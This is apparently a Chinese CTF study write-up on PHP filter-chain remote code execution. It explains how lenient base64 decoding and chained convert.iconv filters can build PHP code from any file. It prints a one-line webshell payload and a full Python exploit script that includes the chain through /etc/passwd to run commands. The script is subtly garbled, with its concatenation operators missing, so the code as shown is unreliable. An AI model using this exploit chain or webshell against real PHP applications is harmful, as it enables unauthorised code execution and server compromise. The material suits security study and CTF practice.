前言
紧接上篇,记录一下如何实现利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE
PHP Base64 Filter
Base64编码中只包含64个可打印字符A-Za-z0-9/ =
,而PHP在解码base64时,遇到不在其中的字符包括不可见字符、控制字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。例如:
<?php
$url="?<_>xefa x89x;"; // 字母k经过base64编码后为ax
var_dump(base64_decode($url));
// string(1) "k"
因此利用 PHP Filter Base64 可以去掉一些特殊字符。参考p神文章:谈一谈php://filter的妙用
学习了这个就可以开始尝试构造一句话木马RCE了
无中生有
首先我们都知道include "php://filter/convert.base64-decode/resource=./flag.php";
这里包含的是 flag.php 的内容经过base64编码后的结果。除了这个filter,PHP Filter 当中还有一种 convert.iconv
的 Filter ,可以用来将数据从字符集 A 转换为字符集 B。可以通过命令 iconv -l
列出支持的字符编码,虽然列出的字符编码比较多,但一些实际上是其他字符集的别名。
这时候,奇妙的东西出现了,convert.iconv.UTF8.CSISO2022KR
将始终在字符串前面添加x1b$)C
,x1b
是不可见字符可以看到这个 UTF8.CSISO2022KR
编码形式,并且通过这个编码形式产生的字符串里面, C 字符前面的字符对于 PHP Base64 来说是非法字符,所以接下来我们只需要 base64-decode 一下就可以去掉不可见字符了,但是与此同时,我们的 C 字符也被 base64-decode 解码了,这时候我们需要再把解码结果使用一次 base64-encode 即可还原回来原来的 C 字符了。事实真是如此吗,no!经过测试可以发现,当 C 后面没有 base64 有效字符时,并没有将 C 还原回来。
这时候该怎么办呢(思考脸),既然刚刚UTF8.CSISO2022KR
可以捏造出base64有效字符,那先捏造出来一些垃圾数据不就可以了。为了得到满满的有效字符,可以直接再base64编码一手,那么代码就长这样
因此只要编码规则用得好,其实resource
的文件内容是什么无关紧要,只要有文件,哪怕是个空文件,也能无中生有制造垃圾数据作为基础数据进行编码转换。
恶意构造
那我们应该怎么构造需要的内容呢?因为 base64 编码合法字符里面并没有尖括号这些,所以我们不能通过以上方式直接产生 PHP 代码进行包含,但是我们可以将恶意 PHP 代码 base64 编码后作为目标字符,通过编码规则逐步拓展原字符串的字节长度,在原字符串的前端生成我们想要构造的字符,最后再使用一次 base64 解码一次就可以了。比如
代码语言:javascript复制<?=`$_GET[0]`;;?>
以上 payload 的 base64 编码为 PD89YCRfR0VUWzBdYDs7Pz4=
,然后通过各种字符编码组合 fuzz 出所有单字符的编码形式,而且并不是所有出现了合法字符的编码形式就是符合要求的,然后把符合要求的组合起来即可。那么整个脚本为:
出自 Solving “includer’s revenge” from hxp ctf 2021 without controlling any files
代码语言:javascript复制import requests
url = "http://localhost/index.php"
file_to_use = "/etc/passwd"
command = "/readflag"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters = "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters = "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters = conversions[c] "|"
# decode and reencode to get rid of everything that isn't valid base64
filters = "convert.base64-decode|"
filters = "convert.base64-encode|"
# get rid of equal signs
filters = "convert.iconv.UTF8.UTF7|"
filters = "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)
一把梭
有了这个脚本就可以根据题目需要进行适当修改,然后一把梭啦!
又学会一种新姿势!并感谢 Gqleung 的讲解
Reference: https://tttang.com/archive/1395/ https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d https://www.leavesongs.com/PENETRATION/php-filter-magic.html#_1